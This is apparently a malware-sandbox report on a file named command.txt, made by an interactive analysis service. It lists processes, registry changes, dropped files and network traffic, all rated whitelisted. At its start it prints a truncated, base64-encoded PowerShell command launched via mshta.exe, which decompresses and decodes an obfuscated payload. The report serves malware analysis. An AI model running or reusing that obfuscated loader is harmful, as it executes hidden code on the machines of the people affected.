UAMwBRAE0ARwBOADMAZQB2AFAAVABJAHoANABLADIAMgBDAFcAYgA5AG0ATABGAGUAbwByAHMAVQBHAEkAZwBWAEcATgAxAG0ATwBjADAAbABRADMARgA5AE8AYgBPAEIAUgBFAHAAOQBQAFoAaQA0AEkAUwBGAEkASQBnAGMAdgBFAFgAOAA3ADAAYQB2AFAAcwA2AEwAbABJAE8AWQBSAFUAbQBsAG0AcQBjADEAbgBsADUAdwBKAHkAYwBpAFkAUQBuAHMAWgA5ADQAeABJAFgASwA2ADcASwBGAEcAUQBMAGkANwAyAFoAeABZADUANwBWADMARABEAGYARwBGAG8ARwBPAGMAVABxAFcAYgBrAEkAYgBjAFQATAB5AG0ASwBLAGIAMABQAEsAeABRADcATgBoAEwAawBJAEUAaABnAEUATgAxAFkARgB4AHIAMwB0AG4AWgB4AGYANABQAHMAZAA2AE4AWAB2AE0AcgAyAFEAMgBTAHYATgBpAEMANgBmAHQAMABvAHQAcABNAHcAdwB2AFYAWgBrAEYAdQB4AE8ANABwADEATwB2AEoAVgBKADAASgBtAEkAVgBIAGcASgBpADMASgB2AHgAZgBCAFYANABsAHgAbwBLAG8ATgBrAHUAOQBvADcAaQB1AHkAaAAzAEkAcgBhAFMAcwBHAEkATABPAG4ANABpAGcAZABiAFcAUgBzADkAZABjAGIAUgA3AFoATQBkAHAAVgBUAEMAMQA2AHYANABXADQAMQBJAGQAcwBDADIAawBRAHkANwBzAFMAQwA0AFkAbwBFAFkAcABXAHIAZQBuAGgATwB6ADgAMQBjAG8ATwBMAHQANQA2AGUAQQBFAEMAOQBLADIAaQBnAGEASAB5ADMASQBrAGQAVwBSAGEAaQBWADkAcwBpAFAARQBsADAAQgA1AG4AbgBEAFIAZwBkAHYANgBJAGgAYwA3AFMAVAByAFgAbQBiAEkARABPAGgAWgBLAHkAagBFAEoAcwBqAHcAcAByADgAUQB0AEEAYwBlAGwANgBDAEwAbgB1AHQAcwAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABpAG8ALgBtAGUATQBvAFIAeQBzAHQAUgBFAEEAbQAoACwAJAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgAoACIARgByAG8AbQBCACIAIAArACIAYQBzAGUANgAiACAAKwAgACIANABTAHQAcgBpAG4AZwAiACkAKAAiAE4AWQA4AHgAYgA4AEkAdwBGAEkAVAAvAHkAcABNAFgAawBzAEYATwBrAFYAQQBIAHQAaQBvAE0ARABCAFUAZwBlAGMAaQBTAGcAUwBSACsAdwBnAGIASAB0AHUAdwBYAFQAUAA1ADkAVABhAHYAZQBkAGoAZAA4AGQAeQBkAHAAaQBNAFEAdgAwAFUAKwBZAEUAcgBCADIAMwAzAGYARwBLAFoAOQBUAEwAOQBmAFUAKwBmAHkANQArAHcAOAB1AFAAbQBPAFUARwBxADMAdABuADEAdgB4ADAAWQBlADMAVAAyADgAdgA4AEkAVQBNACsARgBlADgATABUAE0ANgArAGoAYQBKAGcAUABFAE0AMgBpAGkARgBEAGoAZwBHAEcATgBjAHcARgBEADUAMwBQAGcAQgB2AC8AVAB3AFAAVABzAEcAVgBHAFgAeABCAFYAWgAwAHcAOAAvAE4ANAB4ADQAbQBnAGwAQgBMAE8ANABvAFEAawBPAGgAeABiAGEAdwBxAHYARgBnAGUAZgBuAGYAVwBEAGsAaABTAE4AdQAxAFUAYgBUAFIAVABTAHYAbQBsADAAawBYAGgAWQBFAHkAYgBNAHkANwBRAHUASQBtAGsAZgBtAG0ATgBoAFcANAB4AEMAagBaAHUANgB2AHIASwB5ADcATwArAEIAcABOAFUAaQBIAEgAOQBIAC8AUQBBAD0AIgApACkAKQApACwAIABbAEkAbwAuAEMATwBtAFAAcgBFAHMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAFMAUwBpAG8ATgBtAE8ARABFAF0AOgA6ACgAIgBEAGUAIgAgACsAIgBjAG8AbQBwAHIAZQBzAHMAIgApACkAKQAsACAAWwBUAEUAeAB0AC4AZQBOAGMATwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6824"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\command.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
Total events
24 440
Read events
24 284
Write events
152
Delete events
4

Modification events

(PID) Process:(5064) SearchApp.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\A1hdl50UVDh2ZbG324Nx-6fZgntcGnHOs5kHLdmaJYE\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Speech_OneCore\Recognizers
Operation:writeName:DefaultTokenId
Value:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Speech_OneCore\Recognizers\Tokens\MS-1033-110-WINMO-DNN
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings
Operation:writeName:IsMSACloudSearchEnabled
Value:
0
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings
Operation:writeName:IsAADCloudSearchEnabled
Value:
0
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search
Operation:writeName:CortanaStateLastRun
Value:
6E70896700000000
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search\Flighting
Operation:delete valueName:CachedFeatureString
Value:
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings
Operation:writeName:SafeSearchMode
Value:
1
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search\Flighting
Operation:writeName:CachedFeatureString
Value:
(PID) Process:(5064) SearchApp.exeKey:\REGISTRY\A\{ee080948-b2ea-145a-6870-f9164b908eb9}\LocalState
Operation:writeName:BINGIDENTITY_PROP_USEREMAIL
Value:
00004EE071E35768DB01
(PID) Process:(5064) SearchApp.exeKey:\REGISTRY\A\{ee080948-b2ea-145a-6870-f9164b908eb9}\LocalState
Operation:writeName:BINGIDENTITY_PROP_ACCOUNTTYPETEXT
Value:
00004EE071E35768DB01
(PID) Process:(5064) SearchApp.exeKey:\REGISTRY\A\{ee080948-b2ea-145a-6870-f9164b908eb9}\LocalState
Operation:writeName:BINGIDENTITY_PROP_ACCOUNTTYPE
Value:
00004EE071E35768DB01
Executable files
0
Suspicious files
68
Text files
121
Unknown types
0

Dropped files

PID
Process
Filename
Type
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\ZWUI0EBX\www.bing[1].xmltext
MD5:883BB45BEF044AFB4AD1CAC1991B67CA
SHA256:F78D6D82D3FDB27654B36AEA7C513426BBF6B1BCA6B40235655FED2540690D94
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\mIBK4Tj4MH4TuENc-SRjlybWA2M[1].csstext
MD5:61218F90D3B3B1F74B9253D4E5DDF682
SHA256:0553F7C64CC8A8034532FF32F86F5B0DDB061D03843B66C0868CDCA1674E03CC
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbresbinary
MD5:4CA516B6BF2179A0EC5922796FFFEE11
SHA256:E48B023CDB13F22F41DCAE1D7394E59DF846BF938EC72A2A8078B0465FB7AC12
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\AptopUBu7_oVDubJxwvaIprW-lI[1].csstext
MD5:4E0E75684C84C0102CED12948B95609B
SHA256:4D18E491B2DE4DA34F6C15F0574911613E902F791FE72501E4404802760D1BCA
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\wU-YmSK-j9YaNg2gj_x4wAl_UoI[1].csstext
MD5:C1AC4CCA38EA836717738D7CF72B45B9
SHA256:E4C0BF089E674482FA2FE7D558F64F9D3EBDD414EAED18908E34A6140D09B727
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbresbinary
MD5:4BB4BAA6886E3FA9F8EEB171AEFF8807
SHA256:4FBD74931A70B823AFBABC318F51165EA8A03F431FCFA8861366DFE3EB91AF67
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\EDR6aHlON56kRFUYoTu1poTQKHc.br[1].jsbinary
MD5:CB035F15ED6E8CAB42F08C38CFA49F81
SHA256:89C859D7DF60C8350DAF9F664FFBB76B01DCCFAED8FDBCBAB2B4B4FA76A09C15
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\5qSqWyip_grL-s7BafaqI3Mrk9M.br[1].jsbinary
MD5:23C987E711C002D4CA3CD02DEEDC9BBF
SHA256:A1C2F4C8CA6113EBDAC36F2C33D6CE19BCF2F4BD99EC06E8BA845E2B25B03322
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\76h-lqe82bg-bnu-ApkwUALogkQ.br[1].jsbinary
MD5:88B4876820BB8069FE375BC4577DAFC9
SHA256:19BAD3107546F7914AB0F1CE545F187D7DD26F90D05F26C3C326D1BD941F0EA8
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\FBodW3lwNP5Qe6iF-d8dpJdC9lc.br[1].jsbinary
MD5:D5A9CF9F056ECA6B2ED32286F3E06FCA
SHA256:8C4E98F5AF24F2FB97B5F4051AEB791BF79E1A3DDEA8858CE3D64CBBDA681887
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
60
DNS requests
38
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3584
svchost.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3584
svchost.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
—
—
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4128
backgroundTaskHost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
—
—
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3584
svchost.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3584
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
92.123.104.62:443
www.bing.com
Akamai International B.V.
DE
whitelisted
1176
svchost.exe
20.190.160.22:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5064
SearchApp.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 23.35.229.160
  • 95.101.149.131
whitelisted
google.com
  • 142.250.186.78
whitelisted
www.bing.com
  • 92.123.104.62
  • 92.123.104.59
  • 92.123.104.52
  • 92.123.104.61
  • 92.123.104.34
  • 92.123.104.47
  • 92.123.104.25
  • 92.123.104.33
  • 92.123.104.32
  • 2.21.65.154
  • 2.21.65.132
whitelisted
login.live.com
  • 20.190.160.22
  • 20.190.160.20
  • 20.190.160.14
  • 40.126.32.134
  • 40.126.32.136
  • 40.126.32.76
  • 40.126.32.138
  • 20.190.160.17
whitelisted
ocsp.digicert.com
  • 2.17.190.73
  • 2.23.77.188
whitelisted
go.microsoft.com
  • 69.192.162.125
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted
fd.api.iris.microsoft.com
  • 20.31.169.57
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
command.txt